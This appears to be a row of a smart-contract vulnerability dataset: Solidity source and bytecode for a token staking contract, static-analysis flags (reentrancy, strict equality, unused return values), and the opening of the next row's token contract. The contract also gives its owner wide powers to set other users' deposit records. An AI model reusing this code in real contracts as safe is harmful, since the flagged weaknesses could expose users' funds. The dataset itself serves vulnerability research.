struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract FarmPrdzEth30 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address
address public trustedDepositTokenAddress;
address public trustedRewardTokenAddress;
uint public adminCanClaimAfter = 395 days;
uint public withdrawFeePercentX100 = 0;
uint public disburseAmount = 35e18;
uint public disburseDuration = 30 days;
uint public cliffTime = 30 days;
uint public disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public {
trustedDepositTokenAddress = _trustedDepositTokenAddress;
trustedRewardTokenAddress = _trustedRewardTokenAddress;
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function changeDisburse(uint _disburseAmount) public onlyOwner {
disburseAmount = _disburseAmount ;
}
function manualDeposit(address _depositer, uint amountToDeposit, uint _time, uint _claimTime, uint _divPoints) public onlyOwner {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[_depositer] = depositedTokens[_depositer].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
lastClaimedTime[_depositer] = _claimTime ;
lastDivPoints[_depositer] = _divPoints ;
if (!holders.contains(_depositer)) {
holders.add(_depositer);
depositTime[_depositer] = _time;
}
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function canWithdraw(address account) public view returns (uint) {
if(now.sub(depositTime[account]) > cliffTime){
return 1 ;
}
else{
return 0 ;
}
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = now;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = now.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80638b7afe2e11610125578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610927578063e027c61f14610945578063f2fde38b14610963578063f3f91fa0146109a7578063fe547f72146109ff57610211565b8063c326bf4f14610875578063ca7e0835146108cd578063d1b965f3146108eb578063d578ceab1461090957610211565b806398896d10116100f457806398896d10146107855780639f54790d146107dd578063a07bf875146107fb578063ac51de8d14610829578063b6b55f251461084757610211565b80638b7afe2e146106e15780638da5cb5b146106ff5780638e20a1d9146107495780638f5705be1461076757610211565b8063308feec3116101a85780634e71d92d116101775780634e71d92d146105d75780636270cd18146105e157806365ca78be146106395780636745d3c5146106575780637e1c0c09146106c357610211565b8063308feec3146104e957806331a5dda114610507578063452b4cfc1461055157806346c648731461057f57610211565b806319262d30116101e457806319262d30146103c15780631cfa8021146104195780631f04461c146104635780632e1a7d4d146104bb57610211565b806305447d25146102165780630813cc8f1461037b5780630c9a0c78146103855780630f1a6444146103a3575b600080fd5b61024c6004803603604081101561022c57600080fd5b810190808035906020019092919080359060200190929190505050610a1d565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561029b578082015181840152602081019050610280565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102dd5780820151818401526020810190506102c2565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561031f578082015181840152602081019050610304565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610361578082015181840152602081019050610346565b505050509050019850505050505050505060405180910390f35b610383610d36565b005b61038d610de9565b6040518082815260200191505060405180910390f35b6103ab610def565b6040518082815260200191505060405180910390f35b610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df5565b6040518082815260200191505060405180910390f35b610421610e65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a56004803603602081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e8b565b6040518082815260200191505060405180910390f35b6104e7600480360360208110156104d157600080fd5b8101908080359060200190929190505050610ea3565b005b6104f1611469565b6040518082815260200191505060405180910390f35b61050f61147a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61057d6004803603602081101561056757600080fd5b81019080803590602001909291905050506114a0565b005b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a1565b6040518082815260200191505060405180910390f35b6105df6116b9565b005b610623600480360360208110156105f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c4565b6040518082815260200191505060405180910390f35b6106416116dc565b6040518082815260200191505060405180910390f35b6106c1600480360360a081101561066d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506116e2565b005b6106cb611aec565b6040518082815260200191505060405180910390f35b6106e9611af2565b6040518082815260200191505060405180910390f35b610707611af8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610751611b1d565b6040518082815260200191505060405180910390f35b61076f611b23565b6040518082815260200191505060405180910390f35b6107c76004803603602081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b29565b6040518082815260200191505060405180910390f35b6107e5611c70565b6040518082815260200191505060405180910390f35b6108276004803603602081101561081157600080fd5b8101908080359060200190929190505050611c76565b005b610831611cd9565b6040518082815260200191505060405180910390f35b6108736004803603602081101561085d57600080fd5b8101908080359060200190929190505050611d50565b005b6108b76004803603602081101561088b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061207e565b6040518082815260200191505060405180910390f35b6108d5612096565b6040518082815260200191505060405180910390f35b6108f361209c565b6040518082815260200191505060405180910390f35b6109116120a2565b6040518082815260200191505060405180910390f35b61092f6120a8565b6040518082815260200191505060405180910390f35b61094d6120ae565b6040518082815260200191505060405180910390f35b6109a56004803603602081101561097957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120b4565b005b6109e9600480360360208110156109bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612205565b6040518082815260200191505060405180910390f35b610a0761221d565b6040518082815260200191505060405180910390f35b606080606080848610610a2f57600080fd5b6000610a44878761223f90919063ffffffff16565b905060608167ffffffffffffffff81118015610a5f57600080fd5b50604051908082528060200260200182016040528015610a8e5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff81118015610aaa57600080fd5b50604051908082528060200260200182016040528015610ad95781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610af557600080fd5b50604051908082528060200260200182016040528015610b245781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610b4057600080fd5b50604051908082528060200260200182016040528015610b6f5781602001602082028036833780820191505090505b50905060008b90505b8a811015610d1b576000610b9682600d61225690919063ffffffff16565b90506000610bad8e8461223f90919063ffffffff16565b905081878281518110610bbc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610c4257fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610c9a57fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610cf257fe5b6020026020010181815250505050610d1460018261222390919063ffffffff16565b9050610b78565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8f57600080fd5b6000610d99611cd9565b9050806015541015610dab5760155490505b6000811415610dba5750610de7565b610dc381612270565b610dd88160155461223f90919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610e4c601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261223f90919063ffffffff16565b1115610e5b5760019050610e60565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610fad601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261223f90919063ffffffff16565b11611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b611029336122fe565b60006110546127106110466004548561261490919063ffffffff16565b61264390919063ffffffff16565b9050600061106b828461223f90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561113757600080fd5b505af115801561114b573d6000803e3d6000fd5b505050506040513d602081101561116157600080fd5b81019080805190602001909291905050506111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b505050506040513d60208110156112b757600080fd5b810190808051906020019092919050505061133a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61138c83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223f90919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113e48360175461223f90919063ffffffff16565b6017819055506113fe33600d61265c90919063ffffffff16565b801561144957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156114645761146233600d61268c90919063ffffffff16565b505b505050565b6000611475600d6126bc565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114f957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156115d657600080fd5b505af11580156115ea573d6000803e3d6000fd5b505050506040513d602081101561160057600080fd5b8101908080519060200190929190505050611683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b6116988160155461222390919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b6116c2336122fe565b565b60126020528060005260406000206000915090505481565b60145481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461173b57600080fd5b600084116117b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561188e57600080fd5b505af11580156118a2573d6000803e3d6000fd5b505050506040513d60208110156118b857600080fd5b810190808051906020019092919050505061193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61198d84600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222390919063ffffffff16565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e58460175461222390919063ffffffff16565b60178190555081601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8785600d61265c90919063ffffffff16565b611ae557611a9f85600d6126d190919063ffffffff16565b5082601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b6000611b3f82600d61265c90919063ffffffff16565b611b4c5760009050611c6b565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b9d5760009050611c6b565b6000611bf3601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165461223f90919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c62601854611c54858561261490919063ffffffff16565b61264390919063ffffffff16565b90508093505050505b919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ccf57600080fd5b8060058190555050565b600080611cf1600b544261223f90919063ffffffff16565b90506000611d46612710611d38600654611d2a86611d1c60085460055461261490919063ffffffff16565b61261490919063ffffffff16565b61264390919063ffffffff16565b61264390919063ffffffff16565b9050809250505090565b60008111611dc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611dcf336122fe565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611eac57600080fd5b505af1158015611ec0573d6000803e3d6000fd5b505050506040513d6020811015611ed657600080fd5b8101908080519060200190929190505050611f59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611fab81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222390919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120038160175461222390919063ffffffff16565b60178190555061201d33600d61265c90919063ffffffff16565b61207b5761203533600d6126d190919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461210d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561214757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b60008082840190508381101561223557fe5b8091505092915050565b60008282111561224b57fe5b818303905092915050565b60006122658360000183612701565b60001c905092915050565b60006017541415612280576122fb565b6122bd6122ac60175461229e6018548561261490919063ffffffff16565b61264390919063ffffffff16565b60165461222390919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b600061230982611b29565b9050600081111561258657600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156123bd57600080fd5b505af11580156123d1573d6000803e3d6000fd5b505050506040513d60208110156123e757600080fd5b810190808051906020019092919050505061246a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6124bc81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222390919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251481600c5461222390919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061263357508284828161263057fe5b04145b61263957fe5b8091505092915050565b60008082848161264f57fe5b0490508091505092915050565b6000612684836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612784565b905092915050565b60006126b4836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6127a7565b905092915050565b60006126ca8260000161288f565b9050919050565b60006126f9836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6128a0565b905092915050565b600081836000018054905011612762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129116022913960400191505060405180910390fd5b82600001828154811061277157fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461288357600060018203905060006001866000018054905003905060008660000182815481106127f257fe5b906000526020600020015490508087600001848154811061280f57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061284757fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612889565b60009150505b92915050565b600081600001805490509050919050565b60006128ac8383612784565b61290557826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061290a565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212202181e25973ca94e6a7b141216b6522c58dc713e185a21b3d7156ca4a91afb02664736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,288 |
0x5810766C5E28eE0Cf9BD5B3ead4F0b425b7c2f2B
|
/**
*Submitted for verification at Etherscan.io on 2021-09-29
*/
pragma solidity >=0.5.10 <0.6.0;
/**
Total 20m (20.000.000)
IVT
Investicoin
decimals 5
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
